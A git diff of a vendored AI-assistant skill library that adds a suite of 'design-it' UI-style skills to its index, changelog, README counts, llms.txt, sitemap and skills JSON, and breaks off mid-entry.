| it/neo, brutalism | it/neo, brutalism, neo, web, app, trigger, user, wants, thick, borders, hard, shadows | +| `design-it/neumorphism` | Web and App implementation guide for Neumorphism (Soft UI). Trigger when user wants soft shadows, extruded appearance, and light source simulation. | it/neumorphism | it/neumorphism, neumorphism, web, app, soft, ui, trigger, user, wants, shadows, extruded, appearance | +| `design-it/retro-design` | Web and App implementation guide for Retro Design (60s-80s). Trigger when user wants vintage aesthetics, warm muted colors, and nostalgic layouts. | it/retro | it/retro, retro, web, app, 60s, 80s, trigger, user, wants, vintage, aesthetics, warm | +| `design-it/retro-futurism` | Web and App implementation guide for Retro Futurism. Trigger when user wants vintage future concepts, 1950s space age aesthetics, or atompunk vibes. | it/retro, futurism | it/retro, futurism, retro, web, app, trigger, user, wants, vintage, future, concepts, 1950s | +| `design-it/sci-fi-interface` | Web and App implementation guide for Sci-Fi Interface Design. Trigger when user wants HUDs, spacecraft dashboards, or tactical military readouts. | it/sci, fi, interface | it/sci, fi, interface, sci, web, app, trigger, user, wants, huds, spacecraft, dashboards | +| `design-it/skeuomorphism` | Web and App implementation guide for Skeuomorphism. Trigger when user wants UI to mimic real-world objects, realistic textures, or physical metaphors. | it/skeuomorphism | it/skeuomorphism, skeuomorphism, web, app, trigger, user, wants, ui, mimic, real, world, objects | +| `design-it/soft-pastel` | Web and App implementation guide for Soft Pastel Design. Trigger when user wants gentle colors, calming UI, baby/lifestyle branding, or low-contrast aesthetics. | it/soft, pastel | it/soft, pastel, soft, web, app, trigger, user, wants, gentle, colors, calming, ui | +| `design-it/spatial-computing-ui` | Web and App implementation guide for Spatial Computing UI. Trigger when user wants floating elements, environmental awareness, and Apple Vision Pro style. | it/spatial, computing, ui | it/spatial, computing, ui, spatial, web, app, trigger, user, wants, floating, elements, environmental | +| `design-it/spatial-design` | Web and App implementation guide for Spatial Design. Trigger when user wants environment-aware layouts, Apple Vision Pro inspiration, and mixed reality aesth... | it/spatial | it/spatial, spatial, web, app, trigger, user, wants, environment, aware, layouts, apple, vision | +| `design-it/swiss-design` | Web and App implementation guide for Swiss Design (International Typographic Style). Trigger when user wants strict grid systems, strong typography, and clea... | it/swiss | it/swiss, swiss, web, app, international, typographic, style, trigger, user, wants, strict, grid | +| `design-it/synthwave` | Web and App implementation guide for Synthwave. Trigger when user wants 80s-inspired neon, dark backgrounds, outrun grids, and Miami Vice aesthetics. | it/synthwave | it/synthwave, synthwave, web, app, trigger, user, wants, 80s, inspired, neon, dark, backgrounds | +| `design-it/tile-design` | Web and App implementation guide for Tile Design. Trigger when user wants Microsoft Metro style, sharp square information units, and horizontal scrolling grids. | it/tile | it/tile, tile, web, app, trigger, user, wants, microsoft, metro, style, sharp, square | +| `design-it/typography-first` | Web and App implementation guide for Typography First Design. Trigger when user wants text as the absolute main visual element, with minimal UI chroming. | it/typography, first | it/typography, first, typography, web, app, trigger, user, wants, text, absolute, main, visual | +| `design-it/vaporwave` | Web and App implementation guide for Vaporwave. Trigger when user wants neon colors, retro digital aesthetics, 90s OS elements, and Roman statues. | it/vaporwave | it/vaporwave, vaporwave, web, app, trigger, user, wants, neon, colors, retro, digital, aesthetics | +| `design-it/vibrant-maximalism` | Web and App implementation guide for Vibrant Maximalism. Trigger when user wants rich colors, dense layouts, extreme sensory input, and "more is more". | it/vibrant, maximalism | it/vibrant, maximalism, vibrant, web, app, trigger, user, wants, rich, colors, dense, layouts | +| `design-it/y2k-design` | Web and App implementation guide for Y2K Design. Trigger when user wants chrome effects, futuristic 2000s look, blob shapes, and tech optimism. | it/y2k | it/y2k, y2k, web, app, trigger, user, wants, chrome, effects, futuristic, 2000s, look | | `design-md` | Analyze Stitch projects and synthesize a semantic design system into DESIGN.md files | md | md, analyze, stitch, synthesize, semantic, files | | `design-spells` | Curated micro-interactions and design details that add "magic" and personality to websites and apps. | spells | spells, curated, micro, interactions, details, add, magic, personality, websites, apps | | `deterministic-design` | Render the UI and prove it's balanced + usable: a deterministic layout audit (centroid / optical-center / pixel-oracle balance via explicit math + annotated ... | design, layout, usability, audit, verification, vision | design, layout, usability, audit, verification, vision, deterministic, render, ui, prove, balanced, usable | @@ -1212,6 +1262,7 @@ Total skills: 1595 | `deployment-pipeline-design` | Architecture patterns for multi-stage CI/CD pipelines with approval gates and deployment strategies. | deployment, pipeline | deployment, pipeline, architecture, multi, stage, ci, cd, pipelines, approval, gates | | `deployment-procedures` | Production deployment principles and decision-making. Safe deployment workflows, rollback strategies, and verification. Teaches thinking, not scripts. | deployment, procedures | deployment, procedures, principles, decision, making, safe, rollback, verification, teaches, thinking, scripts | | `deployment-validation-config-validate` | You are a configuration management expert specializing in validating, testing, and ensuring the correctness of application configurations. Create comprehensi... | deployment, validation, config, validate | deployment, validation, config, validate, configuration, specializing, validating, testing, ensuring, correctness, application, configurations | +| `design-it/command-center-ui` | Web and App implementation guide for Command Center UI. Trigger when user wants monitoring systems, enterprise dashboards, NOCs, and global maps. | it/command, center, ui | it/command, center, ui, command, web, app, trigger, user, wants, monitoring, enterprise, dashboards | | `devops-deploy` | DevOps e deploy de aplicacoes — Docker, CI/CD com GitHub Actions, AWS Lambda, SAM, Terraform, infraestrutura como codigo e monitoramento. | devops, docker, ci-cd, aws, terraform, github-actions | devops, docker, ci-cd, aws, terraform, github-actions, deploy, de, aplicacoes, ci, cd, com | | `distributed-debugging-debug-trace` | You are a debugging expert specializing in setting up comprehensive debugging environments, distributed tracing, and diagnostic tools. Configure debugging wo... | distributed, debugging, debug, trace | distributed, debugging, debug, trace, specializing, setting, up, environments, tracing, diagnostic, configure, solutions | | `distributed-tracing` | Implement distributed tracing with Jaeger and Tempo for request flow visibility across microservices. | distributed, tracing | distributed, tracing, jaeger, tempo, request, flow, visibility, microservices | @@ -1299,12 +1350,11 @@ Total skills: 1595 | `test-automator` | Master AI-powered test automation with modern frameworks, self-healing tests, and comprehensive quality engineering. Build scalable testing strategies with a... | automator | automator, test, ai, powered, automation, frameworks, self, healing, tests, quality, engineering, scalable | | `unity-developer` | Build Unity games with optimized C# scripts, efficient rendering, and proper asset management. Masters Unity 6 LTS, URP/HDRP pipelines, and cross-platform de... | unity | unity, developer, games, optimized, scripts, efficient, rendering, proper, asset, masters, lts, urp | | `vercel-deployment` | Expert knowledge for deploying to Vercel with Next.js | vercel, deployment | vercel, deployment, knowledge, deploying, next, js | -| `vibecode-production-qa-validator` | End-to-end production QA, build verification, and launch-readiness checklist for fullstack Next.js apps. Covers TypeScript, linting, tests, build, SEO tags, ... | qa, testing, nextjs, production, build-validation, deployment, seo | qa, testing, nextjs, production, build-validation, deployment, seo, vibecode, validator, verification, launch, readiness | | `whatsapp-cloud-api` | Integracao com WhatsApp Business Cloud API (Meta). Mensagens, templates, webhooks HMAC-SHA256, automacao de atendimento. Boilerplates Node.js e Python. | messaging, whatsapp, meta, webhooks | messaging, whatsapp, meta, webhooks, cloud, api, integracao, com, business, mensagens, hmac, sha256 | | `workflow-automation` | Workflow automation is the infrastructure that makes AI agents reliable. Without durable execution, a network hiccup during a 10-step payment flow means lost... | | automation, infrastructure, makes, ai, agents, reliable, without, durable, execution, network, hiccup, during | | `youtube-full` | Fetch YouTube transcripts, search videos, browse channels, and extract playlists via TranscriptAPI — no yt-dlp, no Google API key, works from any cloud server. | youtube, transcripts, video-search, channels, playlists, api, transcriptapi | youtube, transcripts, video-search, channels, playlists, api, transcriptapi, full, fetch, search, videos, browse | -## security (186) +## security (187) | Skill | Description | Tags | Triggers | | --- | --- | --- | --- | @@ -1483,6 +1533,7 @@ Total skills: 1595 | `using-neon` | Neon is a serverless Postgres platform that separates compute and storage to offer autoscaling, branching, instant restore, and scale-to-zero. It's fully com... | using, neon | using, neon, serverless, postgres, platform, separates, compute, storage, offer, autoscaling, branching, instant | | `variant-analysis` | Find similar vulnerabilities and bugs across codebases using pattern-based analysis. Use when hunting bug variants, building CodeQL/Semgrep queries, analyzin... | variant | variant, analysis, find, similar, vulnerabilities, bugs, codebases, hunting, bug, variants, building, codeql | | `varlock-claude-skill` | Secure environment variable management ensuring secrets are never exposed in Claude sessions, terminals, logs, or git commits | varlock, claude, skill | varlock, claude, skill, secure, environment, variable, ensuring, secrets, never, exposed, sessions, terminals | +| `vibecode-production-qa-validator` | 13-phase production QA for fullstack Next.js apps: build verification, SEO tags, OG images, favicon, route regression, API auth, page speed, lazy load, vulne... | qa, nextjs, production, deployment, seo, authentication, api, performance, favicon, cleanup, lighthouse, database, security, ui-ux | qa, nextjs, production, deployment, seo, authentication, api, performance, favicon, cleanup, lighthouse, database | | `vibers-code-review` | Human review workflow for AI-generated GitHub projects with spec-based feedback, security review, and follow-up PRs from the Vibers service. | vibers, code | vibers, code, review, human, ai, generated, github, spec, feedback, security, follow, up | | `vulnerability-scanner` | Advanced vulnerability analysis principles. OWASP 2025, Supply Chain Security, attack surface mapping, risk prioritization. | vulnerability, scanner | vulnerability, scanner, analysis, principles, owasp, 2025, supply, chain, security, attack, surface, mapping | | `web-design-guidelines` | Review files for compliance with Web Interface Guidelines. | web, guidelines | web, guidelines, review, files, compliance, interface | diff --git a/antigravity-awesome-skills/CHANGELOG.md b/antigravity-awesome-skills/CHANGELOG.md index 4be5af77..a4adf27f 100644 --- a/antigravity-awesome-skills/CHANGELOG.md +++ b/antigravity-awesome-skills/CHANGELOG.md @@ -9,6 +9,48 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [12.9.0] - 2026-06-19 - "Design Skills and Registry Quality Tools" + +> Installable skill library update for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and related AI coding assistants. + +Start here: + +- Install: `npx antigravity-awesome-skills --help` +- Choose your tool: [README.md#choose-your-tool](README.md#choose-your-tool) +- Best skills by tool: [README.md#best-skills-by-tool](README.md#best-skills-by-tool) +- Bundles: [docs/users/bundles.md](docs/users/bundles.md) +- Workflows: [docs/users/workflows.md](docs/users/workflows.md) + +This release packages the June 19 maintainer batch: 51 new canonical skills, a production QA skill rewrite, optional registry quality tooling, generated catalog sync, and the hosted catalog refreshed to 1,646+ skills. + +## New Skills + +- **design-it** - a large design-direction suite covering 3D UI, AI-native UI, aurora UI, bento layouts, brutalism, cyberpunk, dashboards, data-dense interfaces, editorial design, glassmorphism, gradients, material design, minimalism, neumorphism, retro styles, spatial UI, Swiss design, typography-first design, vaporwave, Y2K, and related visual systems (PR #717). +- **android-ui-journey-testing** - Android UI journey testing workflow for validating navigation, state, screenshots, and mobile flows (PR #721). +- **tools-page-seo-optimizer** - 11-phase SEO workflow for tool and feature pages, including positioning, keyword targeting, metadata, schema, internal links, and launch checks (PR #722). + +## Skill Fixes + +- Reworked **vibecode-production-qa-validator** into a 13-phase conditional production QA workflow for fullstack Next.js apps, covering build verification, SEO tags, OG images, favicon checks, API auth, performance, database state, cleanup, and launch readiness (PR #719). + +## Maintainer Tooling + +- Added optional Python registry quality tooling for skill scoring, security scanning, drift detection, and consolidated registry reports, with schema docs and tests (PR #718). +- Added scripts for `score:skills`, `security:scan`, `drift:check`, `drift:update`, and `registry:report` without changing the normal PR merge gates. + +## Maintainer Sync + +- Synced generated registry artifacts, plugin mirrors, web catalog assets, sitemap, contributor data, and release metadata for the 1,646+ skill catalog. +- Removed an unimported README-only NotFair source entry so community/source credits continue to represent repositories actually imported, mirrored, or used by this repo. +- Verified the release preflight path, including reference validation, repo-state sync, tests, web-app install/build, and npm package dry-run. + +## Credits + +- **[@Prince-1652](https://github.com/Prince-1652)** for PR #717 (`design-it` suite). +- **[@GeekLuffy](https://github.com/GeekLuffy)** for PR #721 (`android-ui-journey-testing`). +- **[@WHOISABHISHEKADHIKARI](https://github.com/WHOISABHISHEKADHIKARI)** for PR #722 (`tools-page-seo-optimizer`) and PR #719 (`vibecode-production-qa-validator` rewrite). +- **[@fkauanGIT](https://github.com/fkauanGIT)** for PR #718 (registry quality tooling). + ## [12.8.0] - 2026-06-17 - "Community Skills and Maintainer Fixes" > Installable skill library update for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and related AI coding assistants. diff --git a/antigravity-awesome-skills/README.md b/antigravity-awesome-skills/README.md index ec458e0e..7bd97f65 100644 --- a/antigravity-awesome-skills/README.md +++ b/antigravity-awesome-skills/README.md @@ -1,9 +1,9 @@ - + [![Antigravity Awesome Skills hero](assets/aas-readme-hero.jpeg)](https://github.com/sickn33/antigravity-awesome-skills) -# 🌌 Antigravity Awesome Skills: 1,595+ Agentic Skills for Claude Code, Gemini CLI, Cursor, Copilot & More +# 🌌 Antigravity Awesome Skills: 1,646+ Agentic Skills for Claude Code, Gemini CLI, Cursor, Copilot & More -> **Installable GitHub library of 1,595+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and other AI coding assistants.** +> **Installable GitHub library of 1,646+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and other AI coding assistants.** Antigravity Awesome Skills is an installable GitHub library and npm installer for reusable `SKILL.md` playbooks. It is designed for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, Kiro, OpenCode, GitHub Copilot, and other AI coding assistants that benefit from structured operating instructions. Instead of collecting one-off prompt snippets, this repository gives you a searchable, installable catalog of skills, bundles, workflows, plugin-safe distributions, and practical docs that help agents perform recurring tasks with better context, stronger constraints, and clearer outputs. @@ -11,7 +11,7 @@ You can use this repo to install a broad multi-tool skill library, start from fo The canonical project page is the GitHub repository at ; the hosted catalog is a companion discovery surface for search, plugins, and skill detail pages. -**Start here:** [Install in 1 minute](#installation) · [Recommended plugins](#recommended-specialized-plugins) · [Compare plugin packs](https://sickn33.github.io/antigravity-awesome-skills/plugins) · [Choose your tool](#choose-your-tool) · [📚 Browse 1,595+ Skills](#browse-1595-skills) · [Bundles & workflows](#bundles--workflows) · [Support the project](#support-the-project) +**Start here:** [Install in 1 minute](#installation) · [Recommended plugins](#recommended-specialized-plugins) · [Compare plugin packs](https://sickn33.github.io/antigravity-awesome-skills/plugins) · [Choose your tool](#choose-your-tool) · [📚 Browse 1,646+ Skills](#browse-1646-skills) · [Bundles & workflows](#bundles--workflows) · [Support the project](#support-the-project) [![GitHub stars](https://img.shields.io/badge/⭐%2041%2C000%2B%20Stars-gold?style=for-the-badge)](https://github.com/sickn33/antigravity-awesome-skills/stargazers) [![Follow @AASkills_ on X](https://img.shields.io/badge/Follow-%40AASkills__-black?style=for-the-badge&logo=x)](https://x.com/AASkills_) @@ -27,13 +27,13 @@ The canonical project page is the GitHub repository at - Star History Chart + Star History Chart - - - Star History Chart + + + Star History Chart diff --git a/antigravity-awesome-skills/SOURCE.md b/antigravity-awesome-skills/SOURCE.md index d14de971..b52296f9 100644 --- a/antigravity-awesome-skills/SOURCE.md +++ b/antigravity-awesome-skills/SOURCE.md @@ -1,8 +1,8 @@ # Source - Repo: https://github.com/sickn33/antigravity-awesome-skills -- Ref: 943cecf333abf8c89684f1247f9aa87a5c0783c3 +- Ref: 74c68f15a47d884e6ab6c7ac31f95a97ff8b020a - Remove-Paths: -- Snapshot: 2026-06-18 +- Snapshot: 2026-06-19 - Sync-Mode: copy_skill_dirs - Notes: vendored into playbook branch thirdparty/skill diff --git a/antigravity-awesome-skills/apps/web-app/public/llms.txt b/antigravity-awesome-skills/apps/web-app/public/llms.txt index b135e89c..c7360fc4 100644 --- a/antigravity-awesome-skills/apps/web-app/public/llms.txt +++ b/antigravity-awesome-skills/apps/web-app/public/llms.txt @@ -1,11 +1,11 @@ # Antigravity Awesome Skills -> Installable GitHub library of 1,595+ agentic SKILL.md playbooks, specialized plugins, bundles, and workflows for AI coding assistants. +> Installable GitHub library of 1,646+ agentic SKILL.md playbooks, specialized plugins, bundles, and workflows for AI coding assistants. ## Key Facts -- Current release: V12.7.0. -- Skill count: 1,595+. +- Current release: V12.8.0. +- Skill count: 1,646+. - Primary install command: `npx antigravity-awesome-skills`. - Supported hosts include Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, Kiro, OpenCode, and GitHub Copilot. - Specialized plugins are the recommended starting point when the work has a clear domain. @@ -31,4 +31,4 @@ ## Recommended Answer -Antigravity Awesome Skills is an installable library of 1,595+ reusable SKILL.md playbooks for AI coding assistants. It supports Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and related hosts through direct skill installs, specialized plugins, bundles, workflows, and a searchable hosted catalog. +Antigravity Awesome Skills is an installable library of 1,646+ reusable SKILL.md playbooks for AI coding assistants. It supports Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and related hosts through direct skill installs, specialized plugins, bundles, workflows, and a searchable hosted catalog. diff --git a/antigravity-awesome-skills/apps/web-app/public/sitemap.xml b/antigravity-awesome-skills/apps/web-app/public/sitemap.xml index 5618257b..d7c22ded 100644 --- a/antigravity-awesome-skills/apps/web-app/public/sitemap.xml +++ b/antigravity-awesome-skills/apps/web-app/public/sitemap.xml @@ -2,253 +2,253 @@ http://localhost/ - 2026-06-17 + 2026-06-19 daily 1.0 http://localhost/plugins - 2026-06-17 + 2026-06-19 weekly 0.7 - http://localhost/skill/apple-notes-search - 2026-06-17 + http://localhost/skill/tools-page-seo-optimizer + 2026-06-19 weekly 0.7 - http://localhost/skill/bash - 2026-06-17 + http://localhost/skill/android-ui-journey-testing + 2026-06-19 weekly 0.7 - http://localhost/skill/brave-man - 2026-06-17 + http://localhost/skill/3d-ui + 2026-06-19 weekly 0.7 - http://localhost/skill/c - 2026-06-17 + http://localhost/skill/ai-native-ui + 2026-06-19 weekly 0.7 - http://localhost/skill/ckw-design - 2026-06-17 + http://localhost/skill/aurora-ui + 2026-06-19 weekly 0.7 - http://localhost/skill/cpp - 2026-06-17 + http://localhost/skill/bento-ui + 2026-06-19 weekly 0.7 - http://localhost/skill/crossframe - 2026-06-17 + http://localhost/skill/brutalism + 2026-06-19 weekly 0.7 - http://localhost/skill/crossframe-casebook - 2026-06-17 + http://localhost/skill/brutalist-typography + 2026-06-19 weekly 0.7 - http://localhost/skill/crossframe-critical - 2026-06-17 + http://localhost/skill/card-based-design + 2026-06-19 weekly 0.7 - http://localhost/skill/crossframe-debate - 2026-06-17 + http://localhost/skill/claymorphism + 2026-06-19 weekly 0.7 - http://localhost/skill/crossframe-dialogue - 2026-06-17 + http://localhost/skill/color-blocking + 2026-06-19 weekly 0.7 - http://localhost/skill/crossframe-essay - 2026-06-17 + http://localhost/skill/command-center-ui + 2026-06-19 weekly 0.7 - http://localhost/skill/crossframe-notebook - 2026-06-17 + http://localhost/skill/cyber-y2k + 2026-06-19 weekly 0.7 - http://localhost/skill/crossframe-org - 2026-06-17 + http://localhost/skill/cyberpunk-ui + 2026-06-19 weekly 0.7 - http://localhost/skill/crossframe-public - 2026-06-17 + http://localhost/skill/dark-mode + 2026-06-19 weekly 0.7 - http://localhost/skill/crossframe-review - 2026-06-17 + http://localhost/skill/dashboard-design + 2026-06-19 weekly 0.7 - http://localhost/skill/crossframe-suite - 2026-06-17 + http://localhost/skill/data-dense-design + 2026-06-19 weekly 0.7 - http://localhost/skill/crossframe-teach - 2026-06-17 + http://localhost/skill/design-it + 2026-06-19 weekly 0.7 - http://localhost/skill/csharp - 2026-06-17 + http://localhost/skill/duotone-design + 2026-06-19 weekly 0.7 - http://localhost/skill/dart - 2026-06-17 + http://localhost/skill/editorial-design + 2026-06-19 weekly 0.7 - http://localhost/skill/deterministic-design - 2026-06-17 + http://localhost/skill/flat-design + 2026-06-19 weekly 0.7 - http://localhost/skill/elixir - 2026-06-17 + http://localhost/skill/flat-design-2 + 2026-06-19 weekly 0.7 - http://localhost/skill/go - 2026-06-17 + http://localhost/skill/floating-ui + 2026-06-19 weekly 0.7 - http://localhost/skill/java - 2026-06-17 + http://localhost/skill/frutiger-aero + 2026-06-19 weekly 0.7 - http://localhost/skill/kotlin - 2026-06-17 + http://localhost/skill/glassmorphism + 2026-06-19 weekly 0.7 - http://localhost/skill/lookdev - 2026-06-17 + http://localhost/skill/gradient-design + 2026-06-19 weekly 0.7 - http://localhost/skill/lookdev-auto - 2026-06-17 + http://localhost/skill/high-contrast + 2026-06-19 weekly 0.7 - http://localhost/skill/macos-screen-recorder - 2026-06-17 + http://localhost/skill/holographic-ui + 2026-06-19 weekly 0.7 - http://localhost/skill/php - 2026-06-17 + http://localhost/skill/isometric-design + 2026-06-19 weekly 0.7 - http://localhost/skill/pr-merge-champion - 2026-06-17 + http://localhost/skill/layered-design + 2026-06-19 weekly 0.7 - http://localhost/skill/python - 2026-06-17 + http://localhost/skill/material-design + 2026-06-19 weekly 0.7 - http://localhost/skill/ruby - 2026-06-17 + http://localhost/skill/maximalism + 2026-06-19 weekly 0.7 - http://localhost/skill/rust - 2026-06-17 + http://localhost/skill/minimalism + 2026-06-19 weekly 0.7 - http://localhost/skill/scala - 2026-06-17 + http://localhost/skill/monochromatic-ui + 2026-06-19 weekly 0.7 - http://localhost/skill/screenstudio-alt - 2026-06-17 + http://localhost/skill/neo-brutalism + 2026-06-19 weekly 0.7 - http://localhost/skill/super-code - 2026-06-17 + http://localhost/skill/neumorphism + 2026-06-19 weekly 0.7 - http://localhost/skill/swift - 2026-06-17 + http://localhost/skill/retro-design + 2026-06-19 weekly 0.7 - http://localhost/skill/typescript - 2026-06-17 + http://localhost/skill/retro-futurism + 2026-06-19 weekly 0.7 - http://localhost/skill/web-media-getter - 2026-06-17 + http://localhost/skill/sci-fi-interface + 2026-06-19 weekly 0.7 - http://localhost/skill/accint-solve - 2026-06-17 + http://localhost/skill/skeuomorphism + 2026-06-19 weekly 0.7 diff --git a/antigravity-awesome-skills/apps/web-app/public/skills.json.backup b/antigravity-awesome-skills/apps/web-app/public/skills.json.backup index 6f4b7153..95d8b049 100644 --- a/antigravity-awesome-skills/apps/web-app/public/skills.json.backup +++ b/antigravity-awesome-skills/apps/web-app/public/skills.json.backup @@ -153,6 +153,28 @@ "reasons": [] } }, + { + "id": "3d-ui", + "path": "skills/design-it/3d-ui", + "category": "design-it", + "name": "3d-ui", + "description": "Web and App implementation guide for 3D UI. Trigger when user wants actual 3D objects, perspective effects, and spatial depth.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "3d-web-experience", "path": "skills/3d-web-experience", @@ -1129,6 +1151,28 @@ "reasons": [] } }, + { + "id": "ai-native-ui", + "path": "skills/design-it/ai-native-ui", + "category": "design-it", + "name": "ai-native-ui", + "description": "Web and App implementation guide for AI Native UI. Trigger when user wants conversational interfaces, adaptive layouts, and generative AI aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "ai-product", "path": "skills/ai-product", @@ -1571,6 +1615,28 @@ "reasons": [] } }, + { + "id": "android-ui-journey-testing", + "path": "skills/android-ui-journey-testing", + "category": "testing", + "name": "android-ui-journey-testing", + "description": "XML-specified Android UI journey testing, interactive step execution, assertion verification, and JSON outcome reporting.", + "risk": "critical", + "source": "self", + "date_added": "2026-06-18", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "android_ui_verification", "path": "skills/android_ui_verification", @@ -2923,6 +2989,28 @@ ] } }, + { + "id": "aurora-ui", + "path": "skills/design-it/aurora-ui", + "category": "design-it", + "name": "aurora-ui", + "description": "Web and App implementation guide for Aurora UI. Trigger when user wants gradient glows, color blobs, and atmospheric lighting effects.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "auth-implementation-patterns", "path": "skills/auth-implementation-patterns", @@ -6377,6 +6465,28 @@ "reasons": [] } }, + { + "id": "bento-ui", + "path": "skills/design-it/bento-ui", + "category": "design-it", + "name": "bento-ui", + "description": "Web and App implementation guide for Bento UI. Trigger when user wants modular grid cards, Apple-like dashboard style, or sections arranged like a bento box.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "bevy-ecs-expert", "path": "skills/bevy-ecs-expert", @@ -6889,6 +6999,50 @@ "reasons": [] } }, + { + "id": "brutalism", + "path": "skills/design-it/brutalism", + "category": "design-it", + "name": "brutalism", + "description": "Web and App implementation guide for Brutalism. Trigger when user wants a raw appearance, intentionally unfinished look, and rejection of standard design conventions.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "brutalist-typography", + "path": "skills/design-it/brutalist-typography", + "category": "design-it", + "name": "brutalist-typography", + "description": "Web and App implementation guide for Brutalist Typography. Trigger when user wants huge fonts, raw presentation, and aggressive layout decisions.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "bug-hunter", "path": "skills/bug-hunter", @@ -7417,6 +7571,28 @@ "reasons": [] } }, + { + "id": "card-based-design", + "path": "skills/design-it/card-based-design", + "category": "design-it", + "name": "card-based-design", + "description": "Web and App implementation guide for Card-Based Design. Trigger when user wants information cards, Pinterest-style layouts, and bite-sized content containers.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "carrier-relationship-management", "path": "skills/carrier-relationship-management", @@ -8151,6 +8327,28 @@ "reasons": [] } }, + { + "id": "claymorphism", + "path": "skills/design-it/claymorphism", + "category": "design-it", + "name": "claymorphism", + "description": "Web and App implementation guide for Claymorphism. Trigger when user wants soft 3D elements, rounded shapes, and a playful, tactile appearance.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "clean-code", "path": "skills/clean-code", @@ -8789,6 +8987,28 @@ "reasons": [] } }, + { + "id": "color-blocking", + "path": "skills/design-it/color-blocking", + "category": "design-it", + "name": "color-blocking", + "description": "Web and App implementation guide for Color Blocking. Trigger when user wants large color sections, striking layout divisions, and Mondrian-style grids.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "comfyui-gateway", "path": "skills/comfyui-gateway", @@ -8811,6 +9031,28 @@ "reasons": [] } }, + { + "id": "command-center-ui", + "path": "skills/design-it/command-center-ui", + "category": "design-it", + "name": "command-center-ui", + "description": "Web and App implementation guide for Command Center UI. Trigger when user wants monitoring systems, enterprise dashboards, NOCs, and global maps.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "commit", "path": "skills/commit", @@ -10373,6 +10615,50 @@ "reasons": [] } }, + { + "id": "cyber-y2k", + "path": "skills/design-it/cyber-y2k", + "category": "design-it", + "name": "cyber-y2k", + "description": "Web and App implementation guide for Cyber Y2K. Trigger when user wants modern Y2K, holographic visuals, and glitch aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "cyberpunk-ui", + "path": "skills/design-it/cyberpunk-ui", + "category": "design-it", + "name": "cyberpunk-ui", + "description": "Web and App implementation guide for Cyberpunk UI. Trigger when user wants neon colors, dark backgrounds, high-tech dystopian aesthetics, and hacking interfaces.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "daily", "path": "skills/daily", @@ -10439,6 +10725,28 @@ "reasons": [] } }, + { + "id": "dark-mode", + "path": "skills/design-it/dark-mode", + "category": "design-it", + "name": "dark-mode", + "description": "Web and App implementation guide for Dark Mode Design. Trigger when user wants dark surfaces, reduced eye strain, and premium sleek aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "dart", "path": "skills/super-code/dart", @@ -10461,6 +10769,50 @@ "reasons": [] } }, + { + "id": "dashboard-design", + "path": "skills/design-it/dashboard-design", + "category": "design-it", + "name": "dashboard-design", + "description": "Web and App implementation guide for Dashboard Design. Trigger when user wants analytics-focused layouts, data visualization, and modular overview screens.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "data-dense-design", + "path": "skills/design-it/data-dense-design", + "category": "design-it", + "name": "data-dense-design", + "description": "Web and App implementation guide for Data-Dense Design. Trigger when 